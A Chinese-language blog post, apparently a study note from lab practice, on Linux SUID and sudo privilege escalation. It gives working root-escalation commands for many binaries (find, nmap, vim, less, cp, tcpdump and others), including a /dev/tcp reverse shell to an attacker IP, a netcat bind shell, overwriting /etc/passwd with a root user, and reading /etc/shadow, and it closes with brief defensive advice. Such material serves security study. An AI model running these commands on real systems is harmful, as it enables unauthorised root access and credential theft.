Linux-SUID提權

胖三斤1發表於2022-04-29

前言

最近打靶場的時候最後都會涉及到提權,所以想著總結一下。

SUID提權原理

SUID(設定使用者ID)是賦予檔案的一種許可權,它會出現在檔案擁有者許可權的執行位上,具有這種許可權的檔案會在其執行時,使呼叫者暫時獲得該檔案擁有者的許可權。
那麼,為什麼要給Linux二進位制檔案設定這種許可權呢?其實原因有很多,例如,程式ping需要root許可權才能開啟網路套接字,但執行該程式的使用者通常都是由普通使用者,來驗證與其他主機的連通性。
但是,如果某些現有的二進位制檔案和實用程式具有SUID許可權的話,就可以在執行時將許可權提升為root。

比如password的許可權:

image
使用者可以輸入自己的密碼或者不需要密碼在root許可權下執行命令,這可在設定檔案 /etc/sudoers 中配置

1.1 /etc/sudoers 語法

root ALL=(ALL) ALL

root 使用者可以從 ALL(任何)終端執行,充當ALL(任何)使用者,並執行ALL(任何)命令。第一部分指定使用者,第二部分指定可充當使用者,第三部分指定 sudo 可執行的命令。

touhid ALL= /sbin/poweroff

輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。

touhid ALL = (root) NOPASSWD: /usr/bin/find

不輸入密碼,可以 sudo 執行 find 命令

1.2 查詢具有 SUID 許可權位檔案

以下命令可以找到正在系統上執行的所有SUID可執行檔案。準確的說,這個命令將從/目錄中查詢具有SUID許可權位且屬主為root的檔案並輸出它們,然後將所有錯誤重定向到/dev/null,從而僅列出該使用者具有訪問許可權的那些二進位制檔案。

# suid許可權值就是4000,下面兩個語句一個意思
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

也可以使用 sudo -l 命令列出當前使用者可執行的命令:

image

常用的提權方式

2.1 nmap

nmap(2.02-5.21)存在交換模式,可利用提權

nmap --interactive

之後執行:

nmap> !sh
sh-3.2# whoami
root

msf中的模組為:

exploit/unix/local/setuid_nmap

較新版可使用 --script 引數:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

2.2 find

find比較常用,find用來在系統中查詢檔案。同時,它也有執行命令的能力。 因此,如果配置為使用SUID許可權執行,則可以通過find執行的命令都將以root身份去執行。

touch test
find test -exec whoami \;
進入shell
find test -exec '/bin/sh' \;
sh-5.0# whoami
root

linux一般都安裝了nc 我們也可以利用nc 廣播或反彈shell

廣播shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

kali(攻擊機)上:

nc 靶機ip 4444

反彈shell:

find test -exec bash -c 'bash -i >& /dev/tcp/攻擊機IP/4444 0>&1' \;

kali(攻擊機)上:

nc -lvnp 4444

2.3 vi/vim

開啟vim,按下ESC

:set shell=/bin/sh
:shell

或者

sudo vim -c '!sh'

2.4 bash

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

2.5 less

注意事項:我記得less跟more提權的時候那個命令列要拉低一點,不能在一頁顯示完檔案才行(要注意的是使用more和less一定讀取一個比較大的檔案,如果檔案太小無法進入翻頁功能也就無法使用!命令進入shell)

less /etc/passwd
!/bin/sh

2.6 more

more /home/pelle/myfile
!/bin/bash

2.7 cp

覆蓋 /etc/shadow/etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

2.8 mv

覆蓋 /etc/shadow/etc/passwd

2.9 nano

nano也算是比較上古的文字編輯器了

nano進入shell的方法為

nano #進入nano編輯器
Ctrl + R
Ctrl + X 
#即可輸入命令

2.10 awk

awk 'BEGIN {system("/bin/sh")}'

2.11 man

man passwd
!/bin/bash

2.12 wget

wget http://192.168.56.1:8080/passwd -O /etc/passwd

2.13 apache

僅可檢視檔案,不能彈 shell:

apache2 -f /etc/shadow

2.14 tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.15 python/perl/ruby/lua/php/etc

python:

python -c "import os;os.system('/bin/bash')"

perl:

exec "/bin/bash";

其他的語言反彈shell參考以下連結:
https://weibell.github.io/reverse-shell-generator/

參考連結:

防範

SUID提權由來已久,屬於一種古早的提權技術,但其生命力經久不衰。

這要求管理員要仔細研究具有SUID許可權的檔案,不要給易被利用的檔案以SUID許可權,防止SUID的濫用導致黑客在進入伺服器時輕易獲取root許可權。

相關文章